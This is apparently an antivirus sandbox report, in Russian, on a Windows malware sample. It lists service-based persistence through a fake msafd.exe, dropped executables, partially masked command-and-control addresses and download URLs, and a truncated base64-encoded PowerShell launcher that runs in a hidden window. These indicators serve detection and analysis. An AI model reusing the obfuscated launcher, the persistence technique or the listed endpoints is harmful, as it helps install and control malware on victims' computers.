Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msafd] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msafd] 'ImagePath' = '"%WINDIR%\SysWOW64\sqlwid\msafd.exe"'
- 'msafd' "%WINDIR%\SysWOW64\sqlwid\msafd.exe"
- 'msafd' %WINDIR%\SysWOW64\sqlwid\msafd.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZAHQANwBnAGIAcAB1AD0AKAAoACcAUwBzACcAKwAnAHgAJwApACsAJwBfAG8AJwArACcAYgBfACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAUgBQAHIATwBGAGkATABFAFwAQgBBAEsANABiAD...
- %HOMEPATH%\bak4b5n\u9ne3hk\sdnm1ysgn.exe
- %WINDIR%\syswow64\sqlwid\msafd.exe
- %HOMEPATH%\bak4b5n\u9ne3hk\sdnm1ysgn.exe в %WINDIR%\syswow64\sqlwid\msafd.exe
- '11#.#10.236.121':8080
- '14#.#02.5.139':443
- http://sc###kle.org/cgi-bin/file/WkNEqjyvmgM/
- http://xx###shxx.de/bike/file/mRB/
- http://14#.##2.5.139:443/OCJM/NWD1GFU/RmoYsHZ/ via 14#.#02.5.139
- DNS ASK sc###kle.org
- DNS ASK xx###shxx.de
- '%HOMEPATH%\bak4b5n\u9ne3hk\sdnm1ysgn.exe'
- '%WINDIR%\syswow64\sqlwid\msafd.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZAHQANwBnAGIAcAB1AD0AKAAoACcAUwBzACcAKwAnAHgAJwApACsAJwBfAG8AJwArACcAYgBfACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAUgBQAHIATwBGAGkATABFAFwAQgBBAEsANABiAD...' (со скрытым окном)